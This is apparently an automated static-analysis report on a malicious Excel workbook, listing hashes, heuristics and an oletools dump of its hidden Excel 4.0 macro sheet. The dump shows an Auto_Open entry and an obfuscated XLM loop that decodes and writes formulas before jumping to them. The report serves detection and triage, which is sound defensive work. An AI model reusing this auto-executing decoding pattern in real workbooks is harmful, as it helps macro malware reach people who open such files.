Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b976a3865e78966f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:47 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 03b433e7abd0c9db66e0123c584b311e SHA-1: d3a38b8f7f01858bf4c4872960cfb768a23aeda7 SHA-256: b976a3865e78966fa4681d7834bc66031341009512e8102074ff3998f638f4d9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6565 bytes
SHA-256: e9bb33e024f4af7952932474060f23611bdbae9b4dd23a04198d80adabe0567c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kIPzbKffJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C187 
' 0018     22 LABEL : Cell Value, String Constant - bGvSuLa len=0 
' 0018     27 LABEL : Cell Value, String Constant - BvSGwEfBmlSf len=0 
' 0018     20 LABEL : Cell Value, String Constant - bZLeW len=0 
' 0018     23 LABEL : Cell Value, String Constant - CpVsPHEg len=0 
' 0018     26 LABEL : Cell Value, String Constant - dHnEFMYaEbA len=0 
' 0018     24 LABEL : Cell Value, String Constant - DJJGWOFDG len=0 
' 0018     21 LABEL : Cell Value, String Constant - dWUJZC len=0 
' 0018     20 LABEL : Cell Value, String Constant - eaJiB len=0 
' 0018     21 LABEL : Cell Value, String Constant - fWsBfD len=0 
' 0018     25 LABEL : Cell Value, String Constant - hofTxnNrot len=0 
' 0018     26 LABEL : Cell Value, String Constant - IOlwQgNBcGF len=0 
' 0018     23 LABEL : Cell Value, String Constant - jBcDHyQj len=0 
' 0018     21 LABEL : Cell Value, String Constant - lDCshI len=0 
' 0018     22 LABEL : Cell Value, String Constant - oHmRIXX len=0 
' 0018     25 LABEL : Cell Value, String Constant - OQqPoYXPQW len=0 
' 0018     24 LABEL : Cell Value, String Constant - RrvIQsFMC len=0 
' 0018     26 LABEL : Cell Value, String Constant - tUgruTWKZCU len=0 
' 0018     22 LABEL : Cell Value, String Constant - voigCIC len=0 
' 0018     24 LABEL : Cell Value, String Constant - vuibzetzI len=0 
' 0018     21 LABEL : Cell Value, String Constant - WmKQOx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kIPzbKffJ,C97,"SET.NAME("WmKQOx",VALUE("0"))",""
'  kIPzbKffJ,C101,"SET.NAME("dHnEFMYaEbA",WmKQOx)",""
'  kIPzbKffJ,C104,"SET.NAME("eaJiB",WmKQOx)",""
'  kIPzbKffJ,C106,"SET.NAME("RrvIQsFMC",COUNTA(voigCIC))",""
'  kIPzbKffJ,C108,"SET.NAME("bZLeW",COUNTA(hofTxnNrot))",""
'  kIPzbKffJ,C111,[],""
'  kIPzbKffJ,C116,"SET.NAME("bGvSuLa","")",""
'  kIPzbKffJ,C120,"dHnEFMYaEbA",""
'  kIPzbKffJ,C123,"SET.NAME("DJJGWOFDG",HLOOKUP("*",voigCIC,dHnEFMYaEbA,FALSE))",""
'  kIPzbKffJ,C125,"dWUJZC",""
'  kIPzbKffJ,C128,"SET.NAME("BvSGwEfBmlSf",WmKQOx)",""
'  kIPzbKffJ,C130,[],""
'  kIPzbKffJ,C134,"BvSGwEfBmlSf",""
'  kIPzbKffJ,C138,"OQqPoYXPQW",""
'  kIPzbKffJ,C143,"jBcDHyQj",""
'  kIPzbKffJ,C148,"IOlwQgNBcGF",""
'  kIPzbKffJ,C151,"SET.NAME("lDCshI",VALUE(HLOOKUP("*",hofTxnNrot,IOlwQgNBcGF,FALSE)))",""
'  kIPzbKffJ,C153,"tUgruTWKZCU",""
'  kIPzbKffJ,C156,"bGvSuLa",""
'  kIPzbKffJ,C161,"eaJiB",""
'  kIPzbKffJ,C165,NEXT(),""
'  kIPzbKffJ,C170,"vuibzetzI",""
'  kIPzbKffJ,C172,"SET.NAME("f",INT(T(FORMULA(T(bGvSuLa)&"",""&T(vuibzetzI)))))",""
'  kIPzbKffJ,C176,"CpVsPHEg",""
'  kIPzbKffJ,C180,NEXT(),""
'  kIPzbKffJ,C182,RETURN(),""
'  kIPzbKffJ,C214,"SET.NAME("fWsBfD",C97)",""
'  kIPzbKffJ,C217,"voigCIC",""
'  kIPzbKffJ,C220,"SET.NAME("hofTxnNrot",R53C14)",""
'  kIPzbKffJ,C223,"SET.NAME("CpVsPHEg",229)",""
'  kIPzbKffJ,C226,"SET.NAME("oHmRIXX",3)",""
'  kIPzbKffJ,C228,fWsBfD(),""
'  kIPzbKffJ,C229,HALT(),""